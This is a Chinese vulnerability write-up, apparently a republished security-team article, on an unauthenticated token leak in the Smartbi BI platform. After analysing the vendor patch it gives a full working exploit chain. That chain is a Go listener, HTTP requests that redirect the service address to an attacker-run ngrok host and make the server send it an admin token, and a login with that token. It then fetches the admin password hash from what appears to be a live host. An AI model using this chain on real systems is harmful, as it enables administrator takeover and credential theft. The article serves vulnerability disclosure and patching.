Smartbi token泄漏致使任意登陆
2023-9-6 15:1:22 Author: 雷神众测(查看原文) 阅读量:26 收藏

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

漏洞介绍

Smartbi是企业级商业智能和大数据分析平台,满足用户在企业级报表、数据可视化分析、自助探索分析、数据挖掘建模、AI 智能分析等大数据分析需求。

2023年7月28日,Smartbi官方发布安全补丁,修复了一处权限绕过漏洞。该漏洞源于监控服务中的接口对于未登录状态也提供访问,并且攻击者能够传递可控的服务器地址到其中的某些功能,这些功能会向攻击者可控的服务器泄漏token,而这个token可被用来以管理员身份登录至后台。

影响版本

  • Smartbi <= V10 && Smartbi != V9.5 && 安全补丁 < 2023-07-28

漏洞分析

补丁包解密

下载官方提供的补丁包文件 patch.patches,使用010 Editor工具可以判断文件类型为AES加密文件。如下使用 cat命令进行查看,也能够判断出来。

$ cat patch.patchesn0+aJMe4W7hs6xzxE5RvhGCv5LbOMBYCfDSLnX9o7/jd1kKJekz5mNTWkLQrvG6+qi7OwYAAOBbUyhBYnFDbLuCShInJ9b/2YYktrClYvSbNVJwDAK+H/4+4yDfW9ugiUU7TLDwtIern5D+J8mQHliiwjVATE0pMPUzFDxVbZR6lV3/pPI+NqkQ33F8Vs89sFA8rpPGhxaVzkbL+CW/D3pRV1+24ANb1I579//jUkVteL+aJk8qYoBJz4w7PBxw2lFTedrrSzKZymhwISWdVo/oJwzF2BuX8ha+6QuOJ9uItzqNq……

通过寻找,在SmartbiX-AugmentedDataSet-0.0.1.jar中的 smartbix.augmenteddataset.util包中,存在 AESCryption类,提供AES加解密功能。

public final class AESCryption {    private static String key = "1234567812345678";    private static String iv = "1234567812345678";    private static final String MODE = "AES/CBC/PKCS5Padding";
private AESCryption() { } public static String encrypt(String data) { try { if (data == null) { return null; } else { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKeySpec keyspec = new SecretKeySpec(key.getBytes("utf-8"), "AES"); IvParameterSpec ivspec = new IvParameterSpec(iv.getBytes("utf-8")); cipher.init(1, keyspec, ivspec); byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8")); return Base64.encodeBase64String(encrypted).toString(); } } } public static String decrypt(String encrypted) { try { if (encrypted == null) { return null; } else { byte[] encrypted1 = Base64.decodeBase64(encrypted); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKeySpec keyspec = new SecretKeySpec(key.getBytes("utf-8"), "AES"); IvParameterSpec ivSpec = new IvParameterSpec(iv.getBytes("utf-8")); cipher.init(2, keyspec, ivSpec); byte[] original = cipher.doFinal(encrypted1); String originalString = new String(original, "utf-8"); return originalString; } } }}

那么,根据如上 keyiv,编写Python解密脚本。

import argparsefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadfrom base64 import b64decode
def decrypt_aes_file(input_file, output_file, key=b'1234567812345678', iv=b'1234567812345678'): cipher = AES.new(key, AES.MODE_CBC, iv) with open(input_file, 'rb') as f_in: encrypted_data = f_in.read() decoded_data = b64decode(encrypted_data) decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size) with open(output_file, 'wb') as f_out: f_out.write(decrypted_data)
parser = argparse.ArgumentParser()parser.add_argument('-f', '--file', type=str, default="patch.patches", help="Path to file name.")args = parser.parse_args()
filename = "decrypted-"+args.file+".zip"
decrypt_aes_file(args.file, filename)print("[+] OutPut: " + filename)

最终解密出来的是一个zip压缩包,直接进行解压后就可以看到补丁代码。

$ mv patch.patches 2023-07-28-patch.patches && python deSmartBIPatch.py -f 2023-07-28-patch.patches[+] OutPut: decrypted-2023-07-28-patch.patches.zip$ unzip decrypted-2023-07-28-patch.patches.zip && tree decrypted-2023-07-28-patch.patchesdecrypted-2023-07-28-patch.patches├── patch.patches└── smartbi    └── security        └── patch            └── impl                ├── AdminsPatchRule.class                ├── AdminsRMIServletPatchRule.class                ├── AssertFunctionRMIServletPatchRule.class                ├── BIConfigAdminsRMIServletPatchRule.class                ├── ChoosePathPatchRule.class                ├── ChoosePathRMIPatchRule.class                ├── EscapeErrorDetailPatchRule.class                ├── EscapeErrorDetailPatchRuleInternal$1.class                ├── EscapeErrorDetailPatchRuleInternal.class                ├── EscapeRefreshString$1$1.class                ├── EscapeRefreshString$1.class                ├── EscapeRefreshString.class                ├── LimitGetSelfPassword.class                ├── LimitGetSessionAttrPassword.class                ├── ListSessionsPatchRule.class                ├── RMIServletPatchRule.class                ├── RejectPatchRule.class                ├── RejectPatchRuleBy404.class                ├── RejectRMIDataConnPatchRule.class                ├── RejectRMIEncodeRule.class                ├── RejectRMIParamsStringsPatchRule.class                ├── RejectRMIPatchRule.class                ├── RejectSmartbixSetAddress.class                ├── RejectStubPostPatchRule.class                ├── RemoveLog4j2JNDIPatchRule.class                ├── RestrictIpPatchRule.class                └── WindowUnLoadingAndAttributeRule.class

补丁代码分析

不断排查,定位到本次漏洞的补丁代码位于 RejectSmartbixSetAddress类,相关代码如下。

package smartbi.security.patch.impl;
public class RejectSmartbixSetAddress extends PatchRule { public int patch(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException { try { String tagName = getTagName(); if (tagName.contains("SmartbiV95")) { return 0; } Class<?> clazz = Class.forName("smartbix.datamining.service.MonitorService"); Method getToken = clazz.getDeclaredMethod("getToken", String.class); if (getToken == null) { return 0; } return 1; } catch (Exception e) { return 1; } }}

如上代码先判断了版本号是否为V95,如果是则返回0,由此可见该版本不受该漏洞影响。然后继续判断 smartbix.datamining.service.MonitorService类中是否存在 getToken方法,如果不存在则返回0,即不受该漏洞影响。

但若存在 getToken方法则会返回1,此时再来查看补丁包中的 patch.patches日志更新文件,当 typeRejectSmartbixSetAddress时,存在以下 url,这些 url将会被拒绝访问。

"PATCH_20230728": {  "desc": "修复在某种特定情况下破解用户密码和特定情况下DB2绕过判断执行命令漏洞 (Patch.20230728  @2023-07-28)",  "urls": [  {    "url": "/smartbix/api/monitor/setServiceAddress",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setServiceAddress/",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setEngineAddress",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setEngineAddress/",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setEngineInfo",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setEngineInfo/",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }]}

token处理逻辑

根据如上补丁代码分析,首先进入到 smartbix.datamining.service.MonitorService类中,该类位于SmartbiX-DataMining-0.0.1.jar文件。

找到 getToken方法,注解 @FunctionPermission({"NOT_LOGIN_REQUIRED"})可以表明 /token接口能被未授权访问,同时由于 @RequestBody注解的存在,该方法接收的内容类型不能为 application/x-www-form-urlencoded

@RequestMapping(    value = {"/token"},    method = {RequestMethod.POST})@FunctionPermission({"NOT_LOGIN_REQUIRED"})public void getToken(@RequestBody String type) throws Exception {    String token = this.catalogService.getToken(10800000L);    ComponentStateHolder.toSmartbiX();    if (StringUtil.isNullOrEmpty(token)) {        throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");    } else if (!"SERVICE_NOT_STARTED".equals(token)) {        Map<String, String> result = new HashMap();        result.put("token", token);        if ("experiment".equals(type)) {            EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);        } else if ("service".equals(type)) {            EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});        }
ComponentStateHolder.toSmartbiX(); ComponentStateHolder.fromSmartbiX(); }}

如上 getToken方法中,最初先生成了一个 token字符串,跟进 catalogService.getToken方法,其中又调用了 pushLoginTokenByEngine方法来生成一个管理员用户的 token

token不为空且不为字符串 SERVICE_NOT_STARTED,顺利进入到如下 elseif分支,此时根据 type值是为 "experiment"还是 "service",存在两种情况。

else if (!"SERVICE_NOT_STARTED".equals(token)) {    Map<String, String> result = new HashMap();    result.put("token", token);    if ("experiment".equals(type)) {        EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);    } else if ("service".equals(type)) {        EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});    }

它们接收的第一个参数值分别如下,差不多类似,取决于占位符。

ENGINE_TOKEN("{0}/api/v1/configs/engine/smartbitoken")SERVICE_TOKEN("%s/api/v1/configs/engine/smartbitoken")

postJsonService还会多传递了一个 EngineApi.address("service-address")对象, EngineApi.address方法如下,当接收的值为 "service-address"时会返回 "SERVICE_ADDRESS"的值,该值最终会被传递到 postJsonService方法中。

public static String address(String type) {    if (type.equals("engine-address")) {        return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS");    } else if (type.equals("service-address")) {        return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS");    } else {        return type.equals("outside-schedule") ? SystemConfigService.getInstance().getValue("MINING_OUTSIDE_SCHEDULE") : "";    }}

分别查看 postJsonEnginepostJsonService方法。在 postJsonEngine方法中, values值为空,而在 postJsonService方法中, values值为 "SERVICE_ADDRESS"的值。还存在的差异就是 EngineUrl.getUrlServiceUrl.getUrl方法的不同。

public static <T> T postJsonEngine(String type, Object data, Class<T> dataType, Object... values) throws Exception {    String url = EngineUrl.getUrl(type, values);    return HttpKit.postJson(url, data, dataType);}public static <T> T postJsonService(String type, Object data, Class<T> dataType, Object... values) throws Exception {    String url = ServiceUrl.getUrl(type, values);    return HttpsKit.postJson(url, data, dataType);

在最后,它们都会向 getUrl方法返回的 url提交POST请求,body为JSON类型来发送 token值。

return HttpsKit.postJson(url, data, dataType);

先进入到 EngineUrl.getUrl方法中,虽然传入其中的 values值将会为空,但在最后会将 EngineApi.address("engine-address")作为 "{0}/api/v1/configs/engine/smartbitoken"的占位符,根据如上的 address方法能够知道该值为 "ENGINE_ADDRESS"的值。

public static String getUrl(String val, Object... values) {    EngineUrl engineUrl = null;    engineUrl = valueOf(val);    if (engineUrl != null && engineUrl.url != null) {        String url = engineUrl.url;        url = String.format(url, values);        if (url.contains("lang=")) {            Locale currentLocale = LanguageHelper.getCurrentLocale();            String language = currentLocale.toString();            url = MessageFormat.format(url, EngineApi.address("engine-address"), language);        } else {            url = MessageFormat.format(url, EngineApi.address("engine-address"));        }        return url;    }}

同样的,进入 ServiceUrl.getUrl方法,在其中, values也就是传进来的 "SERVICE_ADDRESS"值会作为占位符,与 "%s/api/v1/configs/engine/smartbitoken"进行拼接。

public static String getUrl(String val, Object... values) {    ServiceUrl serviceUrl = null;    serviceUrl = valueOf(val);    if (serviceUrl != null && serviceUrl.url != null) {        String url = serviceUrl.url;        url = String.format(url, values);        if (url.contains("lang=")) {            Locale currentLocale = LanguageHelper.getCurrentLocale();            String language = currentLocale.toString();            url = MessageFormat.format(url, language);        }        return url;    }}

两个 getUrl方法返回的 url差不多类似,意味着在 MonitorService.getToken方法中, type值为 "experiment""service",都是差不多的,区别只在于 "ENGINE_ADDRESS""SERVICE_ADDRESS"

设置地址

如上分析,可以发现关键就在于 "ENGINE_ADDRESS""SERVICE_ADDRESS"的值,需要是可控的。在补丁分析阶段,补丁日志更新文件中那些会被禁用的 url,有 engineserviceaddressd的字眼。

"PATCH_20230728": {  "desc": "修复在某种特定情况下破解用户密码和特定情况下DB2绕过判断执行命令漏洞 (Patch.20230728  @2023-07-28)",  "urls": [  {    "url": "/smartbix/api/monitor/setServiceAddress",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }, {    "url": "/smartbix/api/monitor/setEngineAddress",    "rules": [{      "type": "RejectSmartbixSetAddress"    }]  }]}

挑其中之一进行分析,如 /smartbix/api/monitor/setServiceAddress。根据 MonitorService类中的 @RequestMapping注解,该接口的处理方法如下,在其中恰恰就可以更新 "SERVICE_ADDRESS"的值,将该值更改为攻击者自己可控的服务器地址,便可以接收到管理员token,从而实现未授权后台登录。

@RequestMapping(    value = {"/setServiceAddress"},    method = {RequestMethod.POST})public ResponseModel setServiceAddress(@RequestBody String serviceAddress) {    ResponseModel res = new ResponseModel();    if (StringUtils.isBlank(serviceAddress)) {        throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty");    } else {        this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress"));        res.setMessage("Service address updated successfully");        return res.setTime();    }}

补丁日志更新文件中其他被禁用的 url就不一一分析了,差别只在于请求路径有所不同。

token利用

MonitorService类中的 loginByToken方法,会调用 catalogService.loginByToken方法对传入的 token进行判断。

@RequestMapping(    value = {"/login"},    method = {RequestMethod.POST})@FunctionPermission({"NOT_LOGIN_REQUIRED"})public Map<String, Object> loginByToken(@RequestBody String token) {    boolean isLogin = this.catalogService.loginByToken(token);    ComponentStateHolder.toSmartbiX();    Map<String, Object> result = new HashMap();    result.put("result", isLogin);    ComponentStateHolder.fromSmartbiX();    return result;}

而在 catalogService.loginByToken方法中,它又调用了 userManagerModule.loginByToken方法。

public boolean loginByToken(String token) {    if (StringUtil.isNullOrEmpty(token)) {        return false;    } else {        String userName = null;        UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);        if (loginToken != null) {            if (loginToken.getCreateTime() != null && System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {                userName = loginToken.getUserName();            } else {                this.deleteLoginToken(loginToken);            }        }
if (StringUtil.isNullOrEmpty(userName)) { return false; } else { IUser user = this.getCurrentUser(); if (user == null || !this.isAdmin(user.getId())) { if (this.stateModule.getSystemId() == null) { this.stateModule.setSystemId("DEFAULT_SYS"); }
this.stateModule.setCurrentUser(this.getUserById("SERVICE")); }
if (loginToken != null && this.stateModule.getSession() != null) { String ext = loginToken.getExtended(); JSONObject extended = StringUtil.isNullOrEmpty(ext) ? new JSONObject() : JSONObject.fromString(ext); extended.put("sessionId", this.stateModule.getSession().getId()); loginToken.setExtended(extended.toString()); LoginTokenDAO.getInstance().update(loginToken); }
return this.switchUser(userName); } }}

该方法用于通过 token进行登录,它会根据传入的 token从数据库中加载用户登录信息,判断 token是否有效,并根据登录信息中的用户名来执行登录操作。同时,在登录过程中,会将会话ID加入到登录信息的扩展字段中,以便进行后续的会话管理。

漏洞利用

首先在自己服务器上起一个HTTP服务,当然也可以起在本地,利用某些内网穿透服务对外暴露本地HTTP服务来达到同样的效果。该HTTP服务将接收任意请求,均返回200状态码和JSON内容类型。

package main
import ( "encoding/json" "fmt" "io" "net/http")
func main() { http.HandleFunc("/", handleRequest) fmt.Println("Server is running on *:8088") http.ListenAndServe(":8088", nil)}
func handleRequest(w http.ResponseWriter, r *http.Request) { printHTTPRequest(r) w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") response := map[string]string{"message": "Hello, this is a response in JSON!"} jsonResponse, _ := json.Marshal(response) w.Write(jsonResponse)}
func printHTTPRequest(r *http.Request) { fmt.Println("--- Received HTTP Request ---") fmt.Printf("%s %s %s\n", r.Method, r.URL.String(), r.Proto) for key, value := range r.Header { fmt.Printf("%s: %s\n", key, value) } body, _ := io.ReadAll(r.Body) fmt.Printf("\n%s\n", body) fmt.Println("---------------------------")}

向目标站点发送 "SERVICE_ADDRESS",注意 Content-Type标头。

POST /[REDACTED]/setServiceAddress HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeContent-Length: 40Content-Type: text/plainAccept-Encoding: gzip, deflate
https://hz29-03-542-6-825.ngrok-free.app
HTTP/1.1 200 Server: nginxDate: Wed, 02 Aug 2023 02:48:27 GMTContent-Type: application/jsonContent-Length: 85Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be868e412d09; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=9DAB60CE0FFEDC6475B6F1837BA6C3D5; Path=/smartbi; HttpOnly
{"took":2,"success":true,"message":"Service address updated successfully","code":200}

请求 /engineInfo,可以查看刚刚设置的 serviceAddress

POST /[REDACTED]/engineInfo HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeContent-Length: 0Content-Type: text/plainAccept-Encoding: gzip, deflate
HTTP/1.1 200 Server: nginxDate: Wed, 02 Aug 2023 02:58:37 GMTContent-Type: application/jsonContent-Length: 224Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be88dda52d11; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=CD64F807282B28163038F08D5783DFE9; Path=/smartbi; HttpOnly
{"took":0,"success":true,"message":"Operation successful","code":200,"entity":{"serviceAddress":"https://hz29-03-542-6-825.ngrok-free.app","engineAddress":"className=UserService\u0026methodName=isLogged\u0026params=%5B%5D"}}

接着,触发目标站点向我们可控的服务器发送token。

POST /[REDACTED]/token HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeContent-Length: 7Content-Type: text/plainAccept-Encoding: gzip, deflate
service
HTTP/1.1 200 Server: nginxDate: Wed, 02 Aug 2023 02:48:31 GMTContent-Length: 0Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86a23c2d0a; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=68897394A366E12C9C72BC8C12D57670; Path=/smartbi; HttpOnly

此同时,观察服务器上接收到的HTTP报文。

$ go run main.go                                                                                          ∞ ∞Server is running on *:8088--- Received HTTP Request ---POST /api/v1/configs/engine/smartbitoken HTTP/1.1User-Agent: [Apache-HttpClient/4.5.13 (Java/1.8.0_201)]Content-Length: [59]Accept-Encoding: [gzip,deflate]Content-Type: [application/json; charset=UTF-8]X-Forwarded-For: [x.x.x.x]X-Forwarded-Proto: [https]
{"token":"admin_I8a8a86440188d7d8d7d84ba80189be72528e2cfa"}---------------------------

然后,就可以拿这个token去请求 /login ,从而获得一个有效的JSESSIONID。

POST /[REDACTED]/login HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeContent-Length: 47Content-Type: text/plainAccept-Encoding: gzip, deflate
admin_I8a8a86440188d7d8d7d84ba80189be79a6532cff
HTTP/1.1 200 Server: nginxDate: Wed, 02 Aug 2023 03:06:56 GMTContent-Type: application/jsonContent-Length: 15Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=31A219361B718184DBB129256068F050; Path=/smartbi; HttpOnly
{"result":true}

替换如下Cookie标头便能成功实现管理员用户登录。

Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; JSESSIONID=82214AE5A1234133379C4ED20E0A5CF8

当然,还可以利用如上Cookie直接获取用户的密码,不过不是明文。

POST /smartbi/vision/RMIServlet HTTP/1.1Host: smartbi-test.miaozhen.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Connection: closeCookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; JSESSIONID=82214AE5A1234133379C4ED20E0A5CF8; CookieLanguageName=ZH-CNContent-Length: 61Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflate
className=UserService&methodName=getPassword&params=["admin"]
HTTP/1.1 200 Server: nginxDate: Wed, 02 Aug 2023 03:06:56 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 71Connection: close
{"retCode":0,"result":"0e6e061838856bf47e1de730719fb2609","duration":0}

如上响应中的 result字段值,将其首位的 0去掉就是一段MD5密文,解密后会发现是 [email protected]

修复建议

目前厂商已发布安全补丁以修复这个安全问题,请通过如下链接下载安全补丁:

https://www.smartbi.com.cn/patchinfo


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502300&idx=1&sn=c994833e222bfd8625f04ed526b7231c&chksm=f2585aafc52fd3b977aa92705587a1f9d9b54a39c3a13cb47c85c02e19e9bb1480e268057ad3&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh